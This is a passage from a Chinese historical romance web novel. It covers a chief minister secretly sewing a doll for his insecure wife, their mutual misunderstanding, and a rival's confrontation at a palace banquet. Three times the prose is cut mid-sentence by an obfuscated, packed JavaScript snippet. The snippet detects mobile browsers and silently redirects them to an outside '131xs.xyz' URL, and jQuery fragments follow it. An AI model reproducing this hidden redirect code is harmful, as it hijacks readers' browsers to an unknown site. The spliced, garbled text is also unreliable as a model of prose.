“没事。”姜知瑶双手握住晏枕溪，”能看到一点点就已经很好了。” “嗯。”对于姜知瑶安慰的话语和关切的眼神，晏枕溪嘴角微微扬起。 “真的没有什么要我帮忙的吗？”姜知瑶认真地问道。 姜知瑶之前想看看能不能帮晏枕溪熬药，但晏枕溪说针灸和喝药是一起的，在宫里治疗，她只好作罢。 “等下要按摩吗？”想来想去，姜知瑶只能想到这个了。 “要。”晏枕溪毫不犹豫地应下。 躺在姜知瑶的腿上，感受着姜知瑶的手指轻柔地按摩着穴位，晏枕溪觉得很是放松。 怕姜知瑶手累，按了一会后晏枕溪开口：“现在好多了。” 说完便环抱住姜知瑶的腰肢，将头埋进姜知瑶柔软的小腹处。 姜知瑶停下了手中的动作，笑了两声：“有些痒。” “按这么短的时间，真的有用吗？”姜知瑶感觉每次都只给晏枕溪按了一小会。 她看着躺在自己腿上的晏枕溪，手指转而顺起了晏枕溪的头发，缓缓动作着。 “有用的。”晏枕溪笃定的声音传来，“非常有用。” 没有什么是比和阿瑶亲近还能让他放松喜欢的事情了。 静静躺了一会后，晏枕溪坐了起来，准备去沐浴，姜知瑶伸手去拉他的手，想问问他明早什么时辰出府。 想和他一起用早膳了。 最近每次起床时旁边都空荡荡的，姜知瑶有些想念一醒来就能看到晏枕溪的时候。 手才刚碰到晏枕溪的手背，晏枕溪就往前走了一小步，看上去只是不经意地错开了姜知瑶前来拉自己的手。 “怎么了？”晏枕溪转头柔声问道。 姜知瑶蜷缩了下手指，收回伸出的手，垂眸缓缓摇了摇头，语气正常：“没什么，你去沐浴吧。” “好。”晏枕溪不疑有他，走开了。 还好没被阿瑶发现，晏枕溪摸了摸刚刚要被拉住的那只手的指腹。 上面有一些针眼，摸起来还是有点明显的，若是被阿瑶发现，那就解释不清了。 也不知怎么回事，晏枕溪在用针的时候总是会扎到自己，虽然这几天好些了，但还是会不小心被扎到，之前也有针眼留在上面，所以晏枕溪最近都很注意没有让姜知瑶看到或是碰到被扎到的手。 晏枕溪沐浴回来，寝室内姜知瑶已经不在了，许是也前去沐浴了。 他快步走到床边坐下，拿起了里面放着的布娃娃。 晏枕溪将这个布娃娃仔细端详着来回翻看，像是想把这个布娃娃的形状牢牢记住，看过大致的形状后，他又观察起了针脚。 姜知瑶沐浴好了，回到了寝室内，走过一旁的屏风，她抬眼看去，脚步顿了一瞬。 应该是听到了自己回来的声音，晏枕溪好像正有些慌乱地放起来了什么东西，虽然她只看到了晏枕溪最后收回来的手。 姜知瑶眨了几下眼，没有说话，走到床边也坐了下来。 “阿瑶现在要睡吗？”晏枕溪和往常一样轻声询问。 “嗯。”姜知瑶点点头，但继续坐在床上没有什么动作，过了一会才起身走到床边，灭了烛灯。 姜知瑶躺下盖好被子，盯着窗外洁白的月亮缓缓开口：“我睡了。” “好。” 心里有些酸涩，姜知瑶吸了下鼻子，往床内侧身。 过了许久，听见姜知瑶平稳的呼吸声，晏枕溪才轻轻挪过去，从背后环抱住了姜知瑶。 阿瑶今天怎么背对着他睡，晏枕溪微微郁闷了一瞬，但很快就没有再多想。 闻着姜知瑶发间的清香，晏枕溪将手挤进姜知瑶的指间，十指相扣了一会。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16259442|176640||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >接着他将左手的食指指腹与姜知瑶的食指指腹相贴着，晏枕溪能感觉到姜知瑶指腹的完好，而自己上面布了好几个针眼。 阿瑶之前被扎到的位置会和我一样吗？晏枕溪突然这样想到，他将姜知瑶搂得更紧，用食指往下微微按了按。 对于这个布娃娃的制作，晏枕溪最开始是为了做一个希望能让姜知瑶喜欢的赔礼。 但做的过程中晏枕溪发现，他也在慢慢的了解姜知瑶，与她有了更多共同的体验。 他开始体验着姜知瑶之前有过的经历，如何挑选绸缎布料和针线，如何裁剪，如何将它们缝在一起，如何让针脚尽量美观。 在被针扎到后，晏枕溪甚至有种隐秘的欢喜，想到自己有着和姜知瑶之前因为一样原因而产生的伤口，便有种莫名的涟漪。 他有的时候都觉得自己真的是疯了，对于刺绣这件事，在很早之前晏枕溪是没有太多了解，也从未涉足过的，至于一些士大夫认为刺绣是女子所为的，上不了台面的看法，晏枕溪并不认同，可也没有什么过多的想法。 而且对于自己的时间，晏枕溪一向有着精准的把控，绝对不会让它消耗在自己认为毫无意义的，对权势无用的事情上面。 尽管在姜知瑶身上，他的以往的原则似乎起不了一点作用。 但他也绝对不会想到，在之后的某一天，他会心甘情愿地主动来做一只布娃娃，学着如何用绣花针将布料缝起来，如何在布料上绣出图案，并对此甘之如饴。 思绪飘散，晏枕溪突然又莫名想到，还好今日自己难得忍住了睡前没有抱着阿瑶。 要是抱了，阿瑶在自己怀中，晏枕溪觉得他肯定会忍不住，然后将所有的事现在就全部说出来。 随便将被扎到的手给阿瑶看，然后看着阿瑶心疼自己的眼神，听着她轻声哄着自己。 可他现在没有一个像样的赔礼，若是将一切说了出来，面对姜知瑶生气或是不动声色却难过的眼神，晏枕溪无能为力，拿不出东西来讨她欢心。 晏枕溪开始讨厌起来，讨厌自己的手太过笨拙，连做个布娃娃都要许久。 关于为什么现在没说眼睛的事情，晏枕溪其实还有一个私心，想再看看阿瑶在自己面前完全没有遮掩自然的一面。 总感觉她在单独和自己相处的时候会更放松一些，想来应该也是因为觉得自己眼睛看不见。 在他面前，晏枕溪看到更多的是完全真实的姜知瑶，是有自己明确喜恶，能让自己知晓她喜恶的姜知瑶。 轻吻过她的发，晏枕溪闭上了眼睛，任凭睡意袭来。 第二天清晨，姜知瑶醒来，意料之中，身旁和这些天来一样空荡荡的。 姜知瑶独自洗漱穿衣完，不准备去正厅，让人直接把早膳端来了寝室。 看到早膳的时候，姜知瑶微微一愣，是她昨晚特意吩咐过的芙蓉莲子粥。 是晏枕溪喜欢吃的，她原本打算今早与晏枕溪一起用膳。 “大人今早有在府上用膳吗？”姜知瑶轻声问一旁的侍从道。 “没有。”侍从回答道，“大人走的匆忙，没来得及用膳。” “我知道了。”姜知瑶拿起调羹搅动了一下粥，舀起一勺吃了一口。 奇怪，今日这粥有些苦，是没有将莲心拿掉吗。 41. 低落 姜知瑶白天在处理府上的事务，不知不觉已经到了用晚膳的时间，她来到正厅坐了下来，等着晏枕溪回来一起用膳。 另一边。 “晏首辅，留步。”一道有些年迈稳重的声音传来。 晏枕溪迈向马车的脚步停顿了下来，对着声音的方向微微颔首：“赵太傅。” “晏首辅啊，借一步说话。”赵太傅态度和蔼地说道。 走到一旁的宫墙处，赵太傅先夸赞了晏枕溪一番，然后开始拐弯抹角地说：“……晏首辅如今也是年少有为，位极人臣，历朝历代都少有啊，虽然朝中有人不满，但你的能力我都看着眼里，那些人不过嫉妒罢了……” 晏枕溪面色平淡，不卑不亢：“太傅盛誉，在下不敢当。” 赵太傅突然话锋一转：“我有一位小女，之前就爱读晏首辅的诗词。” 说完看到晏枕溪没有任何表示，赵太傅只得说得更直白些：“晏首辅，不知有没有意愿，与我家小女……” “抱歉。”晏枕溪淡声打断了赵太傅的话，“晏某没有这个意愿。” “我家夫人还在等着晏某回府用膳。”晏枕溪退开一步，“失陪了，赵太傅。” 说完没等赵太傅有什么反应，便转身离开上了马车。 浪费他回去陪夫人的时间，今日本就事务繁忙，他紧赶慢赶才在晚膳前处理完，出来的迟了些。 “快点。”坐上马车后，晏枕溪淡声吩咐马夫道。 回到府上，看到姜知瑶在正厅等着自己，晏枕溪的眉眼柔和下来，加快脚步走到她身旁。 姜知瑶手里拿着一个账本，正聚精会神地看着，以为是侍从上前，眼睛没有离开账本，随口说到：“再等等，等大人回来了再用膳。” “好的，夫人。”晏枕溪压低了声音应道，然后走到姜知瑶身后，帮她按起了肩膀。 “嗯？”感受到肩膀上的力度，姜知瑶才疑惑地看去，随后有些惊喜，“枕溪，你回来了。” “夫人。”晏枕溪一本正经地扶正了姜知瑶的脑袋，“大人还在回府的路上，夫人怎可把小的当成大人，大人知道了会伤心的。” 姜知瑶好笑地放下账本，语气带笑：“那你叫什么，我之前好像还从未见到过你。” “回夫人，小的唤阿晏。” “阿晏。”姜知瑶语气微微带着些新奇。 “小的在。”晏枕溪应下，手上力度不减，“夫人，这样可以吗？” “可以。”姜知瑶半眯起了眼睛，确实很舒服，今天一天处理了一天的事情，肩膀有些酸胀，按了一会后感觉好多了。 看见姜知瑶享受的表情，晏枕溪心痒，忍了一会还是没忍住，俯下身亲吻姜知瑶的眼睛。 亲完后退开，还没等姜知瑶说什么，晏枕溪主动开口：“抱歉夫人，是小的以下犯上了，任凭夫人处置。” “好啦。”姜知瑶失笑，见侍从端着菜就要过来，拉住了晏枕溪的手，“要用膳了。” 晏枕溪顺着姜知瑶的手坐了下来，一起用着晚膳。 就寝时间，许是晏枕溪白天太过疲惫，姜知瑶沐浴完，见他已经在床上睡着了。 盯着着他的睡颜看了一会后，姜知瑶慢慢躺上床，裹紧了身上的被子。 - 第二天，茶楼里。 今日纪婉清有事没来，厢房里只有姜知瑶和程明珠两人。 姜知瑶刚坐下，程明珠便拉着她说了起来：“我听说那个赵太傅昨天拉着你夫君，想要把他家小女儿许配给晏枕溪。” 程明珠把她听到的消息都说了出来，她觉得好友有权利知道这些。 “你家夫君拒绝了，还好拒绝了，如果不拒绝，我怕是听到的那个时候就提刀去你府上砍他了。” 姜知瑶一时惊讶，竟说不出话来。 “我看那个赵太傅也是老昏了头。”程明珠愤愤地说道，“什么话都说的出来，我爹说得果然没错，那种文绉绉的老家伙总是喜欢干些道貌岸然的事情。” 程明珠看着姜知瑶认真地说道：“瑶瑶，你要是有听到什么，千万不要多想，那些人脑子多少都有点问题。” 程明珠其实有些忧心姜知瑶，她一向是个大大咧咧，看不太出来别人情绪的人，但最近她总觉得，姜知瑶看上去好像有点心事，也不知道是不是自己的错觉。 听到程明珠最后说的一句话，姜知瑶没忍住笑着点点头：“我知道了。” “对了，听说今天说书先生讲的是好像是……”姜知瑶状若无意地转移话题道，不愿让明珠担心自己。 “没错。”提到这个程明珠兴奋了起来，“他难得讲这个，我是昨天知道了后今天特意约你来的。” 见程明珠提起了兴致，姜知瑶笑着附和，随后没多久说书先生便登上了台。 回到府上。 姜知瑶一个人坐在梳妆台前，卸下了发钗，看着手中的发钗一时有些恍惚。 这个发钗还是晏枕溪之前送给她的，她很喜欢，经常戴着，梳妆台上的许多首饰，姜知瑶看过去，才发现有一大半都是晏枕溪给的。 她有点想晏枕溪了。 姜知瑶清楚地知道，晏枕溪如今是首辅，和以前相比，事务肯定会不可避免地增多，而且明明，明明晏枕溪一有空就会回来，但姜知瑶仍觉得不够。 姜知瑶其实是一个在大多数的时间里更喜欢独处的人，但不知为何，她就是想和晏枕溪待在一起，哪怕什么都不说，什么都不做。 为何如此不满足。 如果是两年前的姜知瑶，哪怕只是在宴会上看到晏枕溪一眼，便会暗自雀跃上大半个月，更何况如今每天都能与晏枕溪亲密相处。 要知足啊，姜知瑶告诉自己，而且她最擅长这个了，不是吗。 在心里安慰过自己后，姜知瑶轻轻吐气，想甩掉脑海里莫名其妙的想法，但突然又想起，最近晏枕溪的异样。 躲避她拉手的动作，藏起东西时的那一点慌乱，还有昨晚睡前，没有任何要拥抱她的动作。 莫名的，姜知瑶眼眶微红，一阵委屈袭上心头。 看话本上和其他人所说，往往这样细小的事情就是冷淡厌弃的开端。 姜知瑶手指抓住一旁的绒花，无意识地揪着，不要多想，不要多想，她在心里默念几遍，但却颓然地发现毫无作用。 接着在心里开始厌弃起自己来，为何总爱在这种小事上胡思乱想，宁愿自己一个人乱想，也不愿主动去询问。 姜知瑶以前经常在心里这样厌弃自己，一个人的时候总是回想起今日和谁说的那句话是不是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16289201|176640||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不太恰当，其他人听到了会怎么想，讨厌自己为什么总是不能从容淡定地应对那些人。 但其实，在成婚后，尤其是和晏枕溪亲近后，姜知瑶很少会这样胡思乱想了。 可不知为何，今日这些阴暗的东西又如潮水般袭来，且来势汹汹，这些天刻意压制住的东西猛烈地反扑上来。 姜知瑶原以为它们已经消失殆尽，现在才悲哀地发现它们只是暂时蛰伏在太阳的阴影下，等待一个时机，在她最幸福的时候重新出现，彰显她的软弱和无力。 姜知瑶又想起来了，在最开始成婚时，自己的那些想法，对晏枕溪的那些愧疚。 像晏枕溪这样的贵公子，应该是要和那些门当户对的高门小姐相配的，而不是和她，一个毫无背景，毫无优点，只是有点小运气的人相配。 尤其是晏枕溪现在已经官至首辅，一人之下，万人之上。 回想起今天听到的话，那个赵太傅想将小女许配给晏枕溪，怕也是这样想的吧。 又想起晏枕溪好转的眼睛，另一种担忧涌上心头，看着镜中的自己，姜知瑶垂眸，若是晏枕溪眼睛好了后，看到自己妻子还是这样平平无奇的样貌，怕是也会觉得失望吧。 在梳妆台前静坐，任凭阴暗把自己淹没。 抬眼恍然间，姜知瑶看到了镜中此刻的自己，突然觉得有些陌生，她不由地伸手触摸镜中的自己，轻抚过垂下的眉眼。 她不喜欢这样的自己。 夜晚。 “阿瑶。”晏枕溪从背后靠近姜知瑶，支起些身子来微微附耳，“明天宫宴一起去，好不好。” “好。”姜知瑶正侧躺面向床内侧，闻言只是回了一声，没有什么其他的动作。 只要她主动疏远一点，应该后面就能适应被冷落的日子吧，姜知瑶想。 姜知瑶向来喜欢将自己在意的事情往最坏的方面想。 晏枕溪对她的亲近，终将会是昙花一现罢了，月亮怎么可能会一直照耀着一片低矮的水洼呢。 她将手从被中拿出来，捏了捏布娃娃，反正还好不管怎样，布娃娃一直会是自己的。 背后，月光幽幽照进室内，晏枕溪此时看着姜知瑶，目光浓稠而沉郁。 为什么，感觉阿瑶在躲着自己。 到底为什么为什么。 看着姜知瑶捏布娃娃是动作，晏枕溪更是呼吸一滞，为什么宁愿捏它，也不愿转头看自己一眼。 全然忘记了是谁前晚在故作矜持。 晏枕溪突然不想做那个布娃娃了，做出来争夺阿瑶的目光吗，他才不要。 别捏布娃娃了…… 晏枕溪闭了闭眼，喉咙干涩，将后面的三个字囫囵咽下。 他何时变成这样了，不过一小会得不到姜知瑶的关照，便变得如此难耐。 主动抱住她，亲吻她，将她的目光争夺过来，心里有道声音在急切地催促他。 不要。 晏枕溪否定道。 他才不要，阿瑶喜欢他，不，阿瑶爱他，不是吗？ 在数个日日夜夜的相处中，晏枕溪早已确定了这个事实。 阿瑶会主动过来抱他的，晏枕溪对此很肯定，只要他有所表示。 “阿瑶。”晏枕溪闷声开口，“我觉得有些冷了。” 42. 自嘲 时间好像停顿了几秒，晏枕溪屏息，却觉得好似过去了几个日夜，才听到姜知瑶有些慢吞吞地开口：“要让侍从换一床厚点的被子吗？” 他又这样。 姜知瑶攥紧布娃娃，难得有些烦闷地想。 总是这样说些似是而非的话，做些似是而非的事情，却从不说爱她。 让她无端猜想，辗转反侧，给人一种他需要自己的错觉。 姜知瑶其实很擅长与从旁人的动作语气和神态中看出那个人对自己的态度，不知是天生拥有还是后天形成，对于其他人那些微妙的恶意和善意，她向来能很好的捕捉到。 其中她最擅长的，便是从人的眼睛中看出，眼睛是不会说谎的，哪怕嘴上说的再甜蜜，动作上再温柔，总是会从眼底透出那人真正的想法。 但对于晏枕溪，她无能为力，与人相处中她最擅长的那个技能无处可施。 每次想下意识观察面前人的眼神时，对上的却是一片白茫茫的眼纱，所以面对晏枕溪的好与亲近，姜知瑶有时会感到惴惴不安。 他到底，对自己是什么看法想法，姜知瑶不知道。 她不知道最开始晏枕溪对她的疏远是为何，之后的亲近又是为何，更不知道他这段时间那微小却让她无比在意的那些动作又是为何。 她不懂这些，也不想去猜。 她不知道他对自己的那些温柔和亲近，是他本性如此，还是觉得是一种责任，亦或是一种消遣，又或者他对此毫无察觉。 对她心进一步的沦陷冷眼旁观，对她的挣扎视若无睹。 在岸边看着她在河中挣扎，却吝啬于递上一根树枝，反倒是化作水草，将她拉往更深的水下。 姜知瑶觉得，更多的时候，往往只是晏枕溪一个动作，一句话语，就会让自己目眩神迷，主动上前。 她知道晏枕溪对自己很好，但这份好让姜知瑶时常觉得不安。 在每次觉得晏枕溪喜欢她的时候，姜知瑶就会开始审视自己，她有什么地方值得晏枕溪喜欢吗？ 她没有显赫的家世，没有傲人的才华，也没有动人的美貌，她只是一个再普通不过的人，姜知瑶清楚的知道这点。 晏枕溪也从未明确的表达过喜欢她，只不过，姜知瑶垂眸，说过要和她当真正的夫妻而已，可能是因为责任罢了，想要反悔也没什么的。 说起来，姜知瑶自嘲了一声，明明自己也从未对他明确直白地表达过爱意，为何却在心里这样埋怨他呢。 他不知道自己之前数次宴会上小心翼翼地探看，不知道自己对于他消息的如数家珍，不知道自己成婚时的欣喜若狂，不知道自己夜里无数次的辗转反侧。 他什么都不知道，自己也从未告诉过他，如今却在心里要求他对自己给予同样甚至更热烈直白的爱。 姜知瑶，你未免有些太自私了，她在心里谴责自己道。 但不知为何，姜知瑶还是委屈了起来，泪珠划过鬓角没入枕中。 都怪晏枕溪。 怪他对自己太好了，才让自己希冀起更多的来，才会对他的那一点点疏远躲避耿耿于怀。 听到姜知瑶的话，晏枕溪身体僵了一瞬，半响才有些干涩地开口：“……不用。” 是哪里出了什么问题吗？ 晏枕溪想不明白，他有些颓然地平躺了回去，无意识地皱起眉头。 他当然听出了姜知瑶话语里的些许抗拒和推脱。 为什么会这样？晏枕溪感觉心脏好像被人揉成了一团，闷闷的。 现在不是夏天，抱他时不会有黏糊糊的阿瑶不喜欢的汗，每次他抱阿瑶的时候，都会调整好让阿瑶最舒服的姿势，所以应该也不是因为姿势的问题。 那到底是哪里出问题了？ 是……因为自己太黏人了吗。 晏枕溪有时听那些官僚们说私事的时候，就有时听到他们成婚久了后抱怨自己的夫人太过黏人，让他们觉得有些烦。 阿瑶……现在也是因为这样吗？ 可他已经很努力在克制了，努力让自己那些奇怪的想法不在阿瑶面前展露出来；努力将视线不再明显的时时刻刻落在阿瑶身上；努力管住自己的身体，不让它一见到阿瑶就要紧贴上去。 晏枕溪抿紧了唇，扭头看向姜知瑶，心里是平息不下的鼓动。 但刚刚隐晦的邀请被拒绝，晏枕溪没有办法再开口或者有所动作。 晏枕溪其实内里是有些清高和善于隐藏的，他向来不会也不屑直白的表露出自己明确的喜好和想法，他善长的，是紧盯目标，不动声色地步下陷阱，然后名正言顺地收取。 就这样盯着姜知瑶看了半夜，听着她绵长平稳的呼吸，晏枕溪突然起身，然后又对准姜知瑶那露出的白皙脖颈，咬了下去。 晏枕溪原本是想咬重一点的，虽然他也不知道自己为什么要这样做。 但当有些冰凉的嘴唇贴上温润细腻的皮肤后，晏枕溪不自觉地收起了齿关，只是轻轻蹭过，粘黏起几根青丝，然后在她脖上落下轻轻一吻。 停留许久才终于分开，几根青丝在唇齿间蹭过，细小却富有存在感。 吻过后，像是打开了什么，晏枕溪从背后抱住姜知瑶，将她嵌入怀中，才觉得心稍稍安定下来。 没关系的，阿瑶如果觉得他有些烦了，那他就和以前一样，在背地里亲近阿瑶好了。 反正阿瑶会一直在自己身边，晏枕溪想。 而且今晚应该只是阿瑶心情不好吧。 - 今日姜知瑶比往常相比早起了许多，因为要去赴一场宫宴。 许是因为早起，晏枕溪还没有离府，正坐在梳妆台前束发。 洗漱完后，见晏枕溪还一直坐在梳妆台前，颇为生疏地束着发，姜知瑶轻叹了口气，走了过去。 “我来吧。” 手中的发冠被人拿走，感受着姜知瑶轻柔的动作，晏枕溪微不可察地扬些嘴角。 像是被人安抚过，昨晚的那些郁气荡然无存。 一切准备好后，坐上马车前往了皇宫。 是赏花宴，姜知瑶看着一旁鲜艳欲滴的花朵，明明前几天已经看到过了，但还是忍不住被惊艳到了一瞬，不自主地弯下腰想去触碰一下。 “呀。”不远处传来了一道温柔的声音，“这不是姜夫人吗，怎么一个人在这里。” 姜知瑶直起身，明珠陪纪姐姐先去安排些事务了，而她想独自在这里赏会花。此时两人不在自己身边，姜知瑶觉得有点不自在。 但她很快镇定下来，对着来人微微颔首：“常小姐。” 来人是侯府的二小姐——常桐，姜知瑶觉得奇怪，之前常小姐也没怎么和她交谈过，如今怎么主动来搭话了？ “这牡丹如此好看吗？竟让姜夫人看了这么久？”常桐凑近了姜知瑶一点看向那株牡丹，语气温和，像是真的好奇而已。 但姜知瑶微微皱眉，觉得有些不舒服，拉开了一点距离，不愿在这里久待：“是很不错，我已经观赏完了，常小姐可以在这多看看。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16302773|176640||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 刚往前走了一步，常桐便不经意地侧身挡住了姜知瑶的去路：“姜夫人是有什么急事吗？不如聊会天可好。” 姜知瑶只得停了下来，接着便听见常桐缓缓开口：“听说晏首辅最近总是在宫中处理事务？很晚才回去？” “晏首辅真是勤勉啊，不像我爹爹，总是一处理完事务就回府了，好和我娘多待一会呢。” 说完她便紧盯着姜知瑶，但或许是有些让她失望，姜知瑶面色如常地开口：“是吗？看来夫君真的很勤勉，在为朝政和百姓辛劳，他时常和我说，只觉得时间不够用，他好再多为君王和百姓做些事情。” 常桐当然听出了姜知瑶的另一重意思，她脸上一贯的微笑僵了一瞬。 “姜夫人和晏首辅是不是不怎么和睦啊。”常桐收起笑容，黑漆漆的眸子定定地看着姜知瑶，“若是各个方面都不合适不相配的话，还是趁早分开为好，强扭的瓜不甜，姜夫人，你说是吗？” 常桐攥紧指节，话语也不再多加掩饰，她喜欢晏枕溪很久了，在最开始知道他失明后，虽有过犹豫，但还是喜欢，想趁此与晏枕溪在一起，若是当时提出，想必肯定不会被拒绝，可却被家里阻止，如今看到晏枕溪官至首辅，常桐又怎么甘心。 她觉得，姜知瑶不过是因为当初赐婚嫁过去，晏枕溪因为责任如今才一直把妻子的位置留给她而已。 首辅夫人啊，谁不想要那个位置，反正她想，更何况首辅还是晏枕溪。若是其他人也罢了，但坐在那个位置上的偏偏是一个常桐从未放在眼里的小透明。 常桐不了解姜知瑶，对她的印象只有内敛二字，她想，晏枕溪不好做背信弃义之事，那她就来找姜知瑶好了，想必姜知瑶也是有几分自知之明的，会主动退让的。 “常小姐，你说这话是什么意思？”姜知瑶浅笑道，“又想跑到我面前说什么呢？” “侯府的二小姐，原来就是这样的吗？”姜知瑶语气中有淡淡的惋惜，“若是想做什么，常小姐直接去找枕溪就好了，何必来寻我？” 对于姜知瑶的话，常桐皱眉，她当然听说了赵太傅的那件事，心里有些烦躁，若是晏枕溪能同意，她又怎么会过来找姜知瑶。 还有，姜知瑶不过一个什么背景都没有的人，怎么敢这样和她说话？作为侯府最受宠的小姐，常桐还是第一次被人带着些许讽刺地说。 没等常桐继续开口说什么，姜知瑶退后一步：“我与常小姐并不相熟，也不必过多聊什么，告辞。” 姜知瑶正要转身离开，但想起什么又对着常桐认真地说：“我不喜欢你。” 闻言常桐愣了一瞬，不明所以，原本还准备好的话语被憋在肚子里，觉得郁闷，但接着便感到有些好笑，是小孩子吗，怎么最后还说这个。 姜知瑶抿唇离开，内心远没有表面上的镇定，手心里全是汗，她很少这样直白不加掩饰的带着不喜和人说话，难免有些紧张。 常桐来找她说这些，不过就是仗着背后的侯府，没有把自己放在眼里罢了，若是其他人，常桐想必不会这样，姜知瑶想，自己背后也不是谁都没有的。 她不喜欢的人，纪姐姐也不会喜欢。 常桐没有把姜知瑶的最后的话放在心上，只觉得姜知瑶和她想的有点不太一样，之前听人说，是个胆怯不爱说话的人，她倒觉得，还是有几分伶牙俐齿的。 但没过多久，一个女官带着几位侍女前来，对着常桐先行了个礼，然后开口：“皇后娘娘说，今日赏花宴还请常小姐先回府。” 43. 决定 姜知瑶离开后，便去寻纪婉清和程明珠她们了。 “怎么了？”还没等姜知瑶走近，纪婉清就问道。 等姜知瑶走到面前，纪婉清轻轻捏了捏她的脸颊肉：“怎么蔫蔫的了？” “我不喜欢常桐。”姜知瑶有些小声地说了出来。 “常桐？”纪婉清想了想说道，“侯府的二小姐？” “嗯。”想到常桐刚刚说话的语气和态度，姜知瑶之前因为看到花的愉悦心情一扫而空。 “那瑶瑶想做什么？”纪婉清没问为什么，只是低头看着姜知瑶轻声询问。 姜知瑶抿唇，迟疑了几秒后还是开口：“这次的赏花宴可以让她先回去吗？” “当然可以。”纪婉清理所当然地说道，“你是今天宴会主人的妹妹，你不喜欢的宴客，当然可以让她先回去。” 接着纪婉清挑眉问道：“但只是这样吗？” “嗯。”姜知瑶点点头。 “好。”应下后纪婉清便吩咐给了侍从。 “哟。”一旁的程明珠笑着说，“有进步了啊，被欺负后终于会说出来了。” “为表奖励，我等会宴会上的那份樱桃酪给你。”程明珠过来拍了拍姜知瑶的肩膀。 听到她们的话，姜知瑶心里最后的几丝郁闷消失，原本有些耷拉的嘴角上扬：“那说好了，樱桃酪给我。” 另一边。 常桐怀疑自己听错了：“……我是侯府的二小姐，你们是不是找错人了。” “没有，常小姐。”为首的女官不卑不亢地说道，“是皇后娘娘的吩咐。” “因为什么？”常桐皱眉。 女官垂下眼，没有回应，看着她的态度，常桐突然想起来姜知瑶最后说的那句话，她哑然：“……我知道了。” 常桐原本以为，皇后和姜知瑶的关系并不好，毕竟在常桐眼里，姜知瑶只是纪府的一个远房亲戚，还成日黏在纪婉清身后，她要是纪婉清，肯定讨厌姜知瑶。 如今看来，是她想错了。 - 宴会下午便结束了，姜知瑶在晚膳前回到府上，晏枕溪还未回来，说是今日事务繁忙，要晚点。 “夫人，现在要准备晚膳吗？”侍从前来询问。 姜知瑶在宴会上吃得有些多，本身不太饿，再加上心情不好，不打算用晚膳了，温声回应：“不必了。” “是。”侍从退下。 回到书房，姜知瑶坐在塌上的软垫上，开始刺绣用来打发时间。 “嘶。”姜知瑶微皱起眉，看着指尖冒出的一个小血珠抿唇。 她已经很久没有被针扎到过了。 姜知瑶记得她最开始学刺绣的时候，是跟着娘亲学的，那时小，不怎么耐得下心来，总是被扎到。 但随着手艺慢慢熟练了起来，上次被扎到是什么时候她都记不清了。 用帕子轻轻抹去血珠，盯着帕上的一小点血渍，姜知瑶莫名愣住。 ……枕溪真的是因为不想回来才在宫中待这么晚的吗？ 脑海里浮现了今天宴会上常桐说的那些话。 回想起这段时间晏枕溪来的些许躲避和冷漠，姜知瑶眸光黯淡，虽然不愿意承认，但她知道，晏枕溪确实和以前不太一样了。 现在只是回来的晚了些，距离稍微拉开了一点，那要是……之后晏枕溪完全对她冷淡了呢。 姜知瑶纤长的睫羽颤动了几下，其实也没什么的，她很早之间就有这样设想过，不是吗。 对于晏枕溪的接近和亲密，姜知瑶在它开始的第一天，就知道终究会有结束的那一天。 那个时候姜知瑶觉得也没什么，人之常情，关系总是会有冷淡下来的时候，但当它真的来临，不，只是刚刚开始显现的时候，姜知瑶就突然发现，她好像完全接受不了。 哪怕只是比以前相处稍微淡下来一点，姜知瑶都觉得难以忍受。 一想到和晏枕溪可能会回归到最开始那样冷漠的状态，姜知瑶便觉得好像被人用湿手帕紧紧捂住，无法呼吸。 她不要。 在经历过这些后，她怎么还可以忍受那样的冷漠。 要去问他吗？要做些什么吗？ 但一想到此时还在皇宫中的晏枕溪，姜知瑶立马又泄气了起来，如果关系真的已经出现了问题，那再做些什么，也不过只是会让他更厌烦而已。 而且她没有勇气去做些什么又或者挽回些什么。 没关系，反正只要还能见到他就好了，不是吗？姜知瑶开始艰难的重新呼吸。 那要一直留在这里，哪怕亲眼看着他怎么和别人亲近吗？一想到这里，刚掀开一点的手帕又被死死捂住。 姜知瑶从来没有问过晏枕溪有关纳妾的事情，因为她不想，但她也知道，这是避免不了的事情。 对这件事情避而不谈，只是因为姜知瑶想让幸福的时光再多停留片刻罢了。 但好像停留不了多久了。 姜知瑶之前从来都不知道自己是这么小气的人，现在她才发现，在对于感情一事，她希望晏枕溪完完全全是只属于自己的，但这怎么可能呢。 况且，她既无显赫的家世，又无与晏枕溪深厚的感情，确实，她是不应该占在晏枕溪夫人的位置上的。 天色渐晚，晏枕溪还未回到府上。 他是真的因为不想回府，才迟迟留在宫中的吗？其实不用这样的，姜知瑶想，如果晏枕溪开口要她离开，她不会不答应的。 其实在知道晏枕溪当上了首辅后，除了替他高兴外，姜知瑶最大的情绪就是不安，他太耀眼了，作为他身旁的人，自然也被他人投注了更多的目光。 